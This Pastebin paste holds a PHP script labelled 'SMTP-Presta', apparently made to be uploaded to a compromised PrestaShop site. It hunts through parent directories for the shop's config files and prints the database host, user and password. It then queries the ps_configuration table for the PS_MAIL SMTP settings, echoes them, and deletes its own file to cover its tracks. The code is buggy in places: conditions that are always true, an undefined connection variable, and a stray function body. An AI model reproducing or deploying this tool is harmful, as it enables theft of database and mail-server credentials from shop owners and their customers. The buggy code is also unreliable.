D3F4ULT8778

Untitled

Jun 3rd, 2020
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.75 KB | None | 0 0
  1. <?php
  2. ini_set('memory_limit', '-1');
  3. error_reporting(1);
  4. echo "
  5. <html>
  6. <center><h4>SMTP-Presta</h4><br>
  7. </html>
  8. ";
  9. if (file_exists("config/settings.inc.php") or ("../config/settings.inc.php") or ("../../config/settings.inc.php") or ("../../../config/settings.inc.php") or ("../../../../config/settings.inc.php") or ("../../../../../config/settings.inc.php") or ("../../../../../../config/settings.inc.php"))
  10. {
  11. $config = array(
  12. "config/settings.inc.php",
  13. "../config/settings.inc.php",
  14. "../../config/settings.inc.php",
  15. "../../../config/settings.inc.php",
  16. "../../../../config/settings.inc.php",
  17. "../../../../../config/settings.inc.php",
  18. "../../../../../../config/settings.inc.php"
  19. );
  20. foreach ($config as $wpcon)
  21. {
  22. $file = @file_get_contents($wpcon);
  23. if (@preg_match("/'_DB_SERVER_', '/i", $file) or @preg_match("/'_DB_NAME_', '/i", $file))
  24. {
  25. //////////host////////////////
  26. //////////host////////////////
  27. $host = explode("'_DB_SERVER_', '", $file);
  28. $host = explode("');", $host[1]);
  29. $host = $host[0];
  30. /////////user///////////////
  31. $user = explode("'_DB_USER_', '", $file);
  32. $user = explode("');", $user[1]);
  33. $user = $user[0];
  34. ////////password///////////
  35. $pass = explode("'_DB_PASSWD_', '", $file);
  36. $pass = explode("');", $pass[1]);
  37. $pass = $pass[0];
  38. ///////////////////////////////////////
  39. echo "db-host : $host <br>";
  40. echo "db-user : $user <br>";
  41. echo "db-pass : $pass <br>";
  42. //////////////////////////////////////////////////////////////////////////
  43. bajatax_co($host, $user, $pass, "list.txt");
  44. exit();
  45.  
  46. }
  47. }
  48. }
  49. if (file_exists("app/config/parameters.php") or ("../capp/config/parameters.php") or ("../../app/config/parameters.php") or ("../../../app/config/parameters.php") or ("../../../../app/config/parameters.php") or ("../../../../../app/config/parameters.php") or ("../../../../../../app/config/parameters.php"))
  50. {
  51. $config = array(
  52. "app/config/parameters.php",
  53. "../app/config/parameters.php",
  54. "../../app/config/parameters.php",
  55. "../../../app/config/parameters.php",
  56. "../../../../app/config/parameters.php",
  57. "../../../../../app/config/parameters.php",
  58. "../../../../../../app/config/parameters.php"
  59. );
  60. foreach ($config as $wpcon)
  61. {
  62. $file = @file_get_contents($wpcon);
  63. if (@preg_match("/database_name/i", $file) or @preg_match("/database_user/i", $file))
  64. {
  65. //////////host////////////////
  66. //////////host////////////////
  67. $host = explode("database_host' => '", $file);
  68. $host = explode("'", $host[1]);
  69. $host = $host[0];
  70. /////////user///////////////
  71. $user = explode("database_user' => '", $file);
  72. $user = explode("'", $user[1]);
  73. $user = $user[0];
  74. ////////password///////////
  75. $pass = explode("database_password' => '", $file);
  76. $pass = explode("'", $pass[1]);
  77. $pass = $pass[0];
  78. ///////////////////////////////////////
  79. echo "db-host : $host <br>";
  80. echo "db-user : $user <br>";
  81. echo "db-pass : $pass <br>";
  82. //////////////////////////////////////////////////////////////////////////
  83. bajatax_co($host, $user, $pass, "list.txt");
  84. exit();
  85.  
  86. }
  87. }
  88. }
  89. else
  90. {
  91. echo "i dontknow :/ \n\n";
  92.  
  93. }
  94. function grapper1($host, $user, $pass, $file)
  95. {
  96. /*
  97. author : G-B
  98. email : fb/psycomiste.93
  99. */
  100. $con = mysql_connect($host, $user, $pass);
  101. $fp = fopen($file, 'a');
  102. $count = 0;
  103. $databases = getdata("SHOW DATABASES");
  104. foreach ($databases as $database)
  105. {
  106. $tables = 'ps_configuration';
  107. foreach ($tables as $table)
  108. {
  109. $columns = getdata("SHOW COLUMNS FROM $database.$table");
  110. foreach ($columns as $column)
  111. {
  112. $result4 = @mysql_query($link, "SELECT value,name FROM $database.$table WHERE $column LIKE '%PS_MAIL%'");
  113. while ($row4 = mysql_fetch_all($result4))
  114. {
  115. $file1 = $row4[2][0];
  116. $file2 = $row4[3][0];
  117. $file3 = $row4[4][0];
  118. $file4 = $row4[5][0];
  119. $file6 = $row4[6][0];
  120. echo "<br>$file1|$file6|$file2|$file3";
  121.  
  122. $count++;
  123. exit();
  124.  
  125. }
  126. }
  127. }
  128. }
  129. }
  130. fclose($fp);
  131. mysql_close($con);
  132. return $count;
  133.  
  134. function grapper2($host, $user, $pass, $file)
  135. {
  136. $sql = "SHOW DATABASES";
  137. $link = @mysqli_connect($host, $user, $pass) or die('Error connecting to mysql: ' . mysqli_error($link) . '\r\n');
  138. $result = @mysqli_query($link, $sql);
  139. $fp = fopen($file, "a");
  140. if (function_exists("chmod"))
  141. {
  142. @chmod($file, 0755);
  143. }
  144. while ($row = mysqli_fetch_row($result))
  145. {
  146. $database = $row[0];
  147. $result2 = @mysqli_query($link, "SHOW TABLES FROM $database");
  148. while ($row2 = mysqli_fetch_row($result2))
  149. {
  150. $table = 'ps_configuration';
  151. $result3 = @mysqli_query($link, "SHOW COLUMNS FROM $database.$table");
  152. while ($row3 = mysqli_fetch_row($result3))
  153. {
  154. $column = $row3[0];
  155. $result4 = @mysqli_query($link, "SELECT value,name FROM $database.$table WHERE $column LIKE '%PS_MAIL%'");
  156. while ($row4 = mysqli_fetch_all($result4))
  157. {
  158. $file1 = $row4[2][0];
  159. $file2 = $row4[3][0];
  160. $file3 = $row4[4][0];
  161. $file4 = $row4[5][0];
  162. $file6 = $row4[6][0];
  163. echo "<br>$file1|$file6|$file2|$file3";
  164.  
  165. $count++;
  166. exit();
  167.  
  168. }
  169. }
  170. }
  171. }
  172. }
  173.  
  174. function getdata($sql)
  175. {
  176. $q = @mysql_query($sql);
  177. $result = array();
  178. while ($d = @mysql_fetch_array($q))
  179. {
  180. $result[] = $d[0];
  181. }
  182. return $result;
  183. }
  184. function bajatax_co($host, $user, $pass, $file)
  185. {
  186. if (function_exists("mysql_connect"))
  187. {
  188. grapper2($host, $user, $pass, $file);
  189. }
  190. elseif (function_exists("mysqli_connect"))
  191. {
  192. grapper2($host, $user, $pass, $file);
  193. }
  194. else
  195. {
  196. echo "No function grappe for this site exist :/ Add this site";
  197. }
  198.  
  199. }
  200. unlink(__FILE__);
  201. ?>
Add Comment
Please, Sign In to add comment